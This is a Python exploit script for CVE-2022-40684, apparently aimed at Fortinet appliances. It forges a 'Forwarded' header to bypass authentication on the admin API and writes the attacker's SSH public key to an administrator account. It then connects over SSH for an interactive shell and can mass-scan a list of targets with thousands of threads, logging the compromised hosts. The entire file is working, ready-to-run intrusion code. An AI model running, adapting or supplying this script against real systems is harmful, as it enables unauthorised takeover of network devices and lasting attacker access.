exploit.py

import os
import json
import requests
import argparse
import paramiko
import concurrent.futures
from rich.console import Console
from requests.packages import urllib3


urllib3.disable_warnings()
console = Console()
paramiko.util.log_to_file("/dev/null")

banner = """ 
     ______           __  _            __     ____  ____________
    / ____/___  _____/ /_(_)___  ___  / /_   / __ \/ ____/ ____/
   / /_  / __ \/ ___/ __/ / __ \/ _ \/ __/  / /_/ / /   / __/   
  / __/ / /_/ / /  / /_/ / / / /  __/ /_   / _, _/ /___/ /___   
 /_/    \____/_/   \__/_/_/ /_/\___/\__/  /_/ |_|\____/_____/ 


    CVE-2022-40684 Exploit By Valentin Lobstein (Chocapikk)

"""

console.print(f"[bold green]{banner}")

parser = argparse.ArgumentParser()
parser.add_argument(
    "-k",
    "--key",
    dest="key",
    help="Your SSH pubKey id_rsa.pub",
    default=f'{os.path.expanduser("~")}/.ssh/id_rsa.pub',
)
parser.add_argument(
    "-u", "--url", dest="url", help="Base target uri (ex. http://target-uri/)"
)
parser.add_argument("-l", "--list", dest="list", help="List of targets (list.txt)")
parser.add_argument(
    "-U", "--username", dest="username", default="admin", help="Username"
)
parser.add_argument("-t", "--threads", dest="threads", default=2000, help="Threads")
parser.add_argument(
    "-o", "--output", dest="output", default="vuln.txt", help="Output file"
)

args = parser.parse_args()


def format_key(key_file):
    with open(key_file, "r") as f:
        return f.read().strip()


def format_url(url):

    if not "://" in url:
        url = f"https://{url}".strip()

    return url


def exploit(target):

    if args.list:
        silent = True
    else:
        silent = False

    target = format_url(target)

    headers = {
        "User-Agent": "Report Runner",
        "Forwarded": 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"',
    }

    json_key = {"ssh-public-key1": f'"{args.key}"'}

    url = f"{target}/api/v2/cmdb/system/admin/{args.username}"
    try:
        request = requests.put(
            url, headers=headers, json=json_key, verify=False, timeout=3
        )

        if "SSH key is good" in request.text:
            try:
                host = target.replace("https://", "").split(":", 1)[0]
                ssh = paramiko.SSHClient()
                ssh.load_system_host_keys()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                ssh.connect(
                    host,
                    port=22,
                    username=args.username,
                    password=None,
                    banner_timeout=200,
                )
                stdin, stdout, stderr = ssh.exec_command("execute date")
                nl_char = "\n"
                output = str(stdout.read().decode().replace(nl_char, " "))

                if "current date is" in output:
                    console.print(
                        f"[bold green][+] Target {target} is vulnerable, SSH Key added for {args.username} user\n[bold blue][*] SSH prompt : {output}"
                    )
                    mass_result.append(f"{target} ==> Username : {args.username}")

                if not silent:
                    while True:
                        try:
                            console.print(
                                "\n[bold][yellow]Shell[/yellow] [red]$[/red][green]>[/green]",
                                end=" ",
                            )
                            cmd = input("")
                            if cmd == "exit":
                                break
                            if cmd == "clear":
                                os.clear()
                            stdin, stdout, stderr = ssh.exec_command(cmd)
                            console.print(f"[bold cyan][+] {stdout.read().decode()}")

                        except KeyboardInterrupt:
                            break
                    ssh.close()

            except paramiko.ssh_exception.SSHException:
                pass

        else:
            console.print(
                f"[bold red][-] Target {target} is not vulnerable to CVE-2022-40684"
            ) if not silent else None
    except:
        console.print(
            f"[bold red][X] Connection error !! : {target}"
        ) if not silent else None


def main():

    global mass_result
    mass_result = list()

    if args.url and args.key:
        args.key = format_key(args.key)
        exploit(args.url)

    elif args.list and args.key:
        args.key = format_key(args.key)
        with open(args.list, "r") as f:
            hosts = f.readlines()

        with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as pool:
            pool.map(exploit, hosts)

    else:
        parser.print_help()

    if args.output:
        with open(args.output, "w") as f:
            for host in mass_result:
                f.write(f"{host}\n")
        console.print(
            f"\n[bold yellow][!] Vulnerable targets ({len(mass_result)}) stored in {args.output}"
        )


if __name__ == "__main__":
    main()